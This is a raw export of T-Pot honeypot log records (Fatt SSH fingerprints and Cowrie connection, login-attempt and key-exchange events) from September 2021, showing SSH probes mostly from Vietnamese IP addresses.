24570	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:51.344889+03	2021-09-20 14:15:08.970471+03	{"_id": "EAbkAnwBvYTbRNuE9xQB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44274, "timestamp": "2021-09-20T11:08:51.344889", "@timestamp": "2021-09-20T11:08:51.344Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24571	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:08:52.637415+03	2021-09-20 14:15:08.97247+03	{"_id": "JAbkAnwBvYTbRNuE-hTr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49906, "dest_port": 22, "timestamp": "2021-09-20T11:08:52.637415", "@timestamp": "2021-09-20T11:08:52.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24576	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:01.952131+03	2021-09-20 14:15:08.97847+03	{"_id": "9wblAnwBvYTbRNuEHhS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35774 (192.168.176.2:22) [session: 86a6ff5a38c1]", "session": "86a6ff5a38c1", "@version": "1", "protocol": "ssh", "src_port": 35774, "dest_port": 22, "timestamp": "2021-09-20T11:09:01.952131Z", "@timestamp": "2021-09-20T11:09:01.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24572	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:53.000766+03	2021-09-20 14:15:08.97347+03	{"_id": "IwbkAnwBvYTbRNuE-hTr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43672, "timestamp": "2021-09-20T11:08:53.000766", "@timestamp": "2021-09-20T11:08:53.000Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24573	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:53.834476+03	2021-09-20 14:15:08.97547+03	{"_id": "PgbkAnwBvYTbRNuE_hTV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42138, "dest_port": 22, "timestamp": "2021-09-20T11:08:53.834476", "@timestamp": "2021-09-20T11:08:53.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24574	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:00.35221+03	2021-09-20 14:15:08.97647+03	{"_id": "5AblAnwBvYTbRNuEGhQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56278, "timestamp": "2021-09-20T11:09:00.352210", "@timestamp": "2021-09-20T11:09:00.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24575	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:02.055329+03	2021-09-20 14:15:08.977469+03	{"_id": "7QblAnwBvYTbRNuEHhQd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36182, "timestamp": "2021-09-20T11:09:02.055329", "@timestamp": "2021-09-20T11:09:02.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24577	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:01.83502+03	2021-09-20 14:15:08.980471+03	{"_id": "9QblAnwBvYTbRNuEHhS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [teste/teste] failed", "session": "48228b0a83c1", "@version": "1", "password": "teste", "username": "teste", "timestamp": "2021-09-20T11:09:01.835020Z", "@timestamp": "2021-09-20T11:09:01.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24578	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:09:01.466254+03	2021-09-20 14:15:08.98147+03	{"_id": "_QblAnwBvYTbRNuEHhS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e8e37dd02033", "@version": "1", "duration": 2.8552536964416504, "timestamp": "2021-09-20T11:09:01.466254Z", "@timestamp": "2021-09-20T11:09:01.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24579	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:01.954804+03	2021-09-20 14:15:08.983471+03	{"_id": "_gblAnwBvYTbRNuEHhS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "86a6ff5a38c1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:01.954804Z", "@timestamp": "2021-09-20T11:09:01.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24580	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:02.180704+03	2021-09-20 14:15:08.98447+03	{"_id": "_wblAnwBvYTbRNuEHhS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "30dc33486cbf", "@version": "1", "timestamp": "2021-09-20T11:09:02.180704Z", "@timestamp": "2021-09-20T11:09:02.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	